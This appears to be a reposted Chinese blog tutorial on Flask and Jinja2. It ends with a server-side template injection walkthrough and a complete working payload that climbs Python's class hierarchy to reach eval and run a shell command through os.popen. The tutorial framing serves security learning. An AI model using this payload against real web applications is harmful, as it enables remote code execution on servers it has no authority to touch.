标签：__ .__ 实例 Python 程序 python flask ssti 模板

Flask的特点

Part1：所有的flask应用在初始化时都必须创建程序实例，程序实例就是falsk的对象。falsk类只有一个必须指定的参数，即程序主模块或者包的名字。

Part2：客户端发送Url给Web服务器，服务器将Url转发给falsk程序实例。程序实例需要知道对于每一个Url请求启动哪一部分的代码。所以保存了一个Url和python函数的映射关系。处理url和函数之间关系的程序，叫做路由。在flask中，定义路由最简单的方法是使用程序实例的.route装饰器把装饰的函数注册为路由。

part3：程序实例用run方法启动falsk集成的开发web的服务器。name='main'是python常用的方法，表示只有直接启动脚本的时候才用run方法，如果是其他脚本调用脚本程序假定父级脚本会启用不同的服务器，因此不用执行app.run（）服务器启动后，会启动轮询，等待并处理请求。轮询会一直请求，直到程序停止。

Jinja2

jnja2是Flask作者开发的一个模板系统，起初是仿django模板的一个模板引擎，为Flask提供模板支持，由于其灵活，快速和安全等优点被广泛使用。

Jinja2中的特殊语句：

1.{%%} : 控制结构
2.{{}} : 变量取值。
3.{##} : 注释

思路

jinja2模板中使用{{ }}语法表示一个变量，他是一种特殊的占位符。当利用jinja2进行渲染时，他会把这些特殊的占位符进行填充/替换，jinja2支持python中所有的python数据类型。被两个括号包裹的内容会输出表达式的值，本次复现就是利用这个语句在{{}}中使用内置变量执行各种命令。

Jinja2 模板中可以访问一些 Python 内置变量，如[] {} 等，并且能够使用 Python 变量类型中的一些函数。加上python中的魔术方法，object类中的基本方法。结合这几个 我们可以 实现任意代码的执行。

寻找payload

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

返回子类列表

**warning message可以调用__globals['builtins']，找到他的位置，165

调用eval，后面的（）可以执行任意代码

import os 成功

payload

url编码后使用

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %} for循环查找目标function，和上面的warning message一样可以调用builtins
  {% for b in c.__init__.__globals__.values() %} 
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }} os库里面的popen()方法，能够打开一个管道，获取输入到cmd控制台的信息
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

标签：__,.__,实例,Python,程序,python,flask,ssti,模板
来源： https://www.cnblogs.com/Stunmaker/p/14379353.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。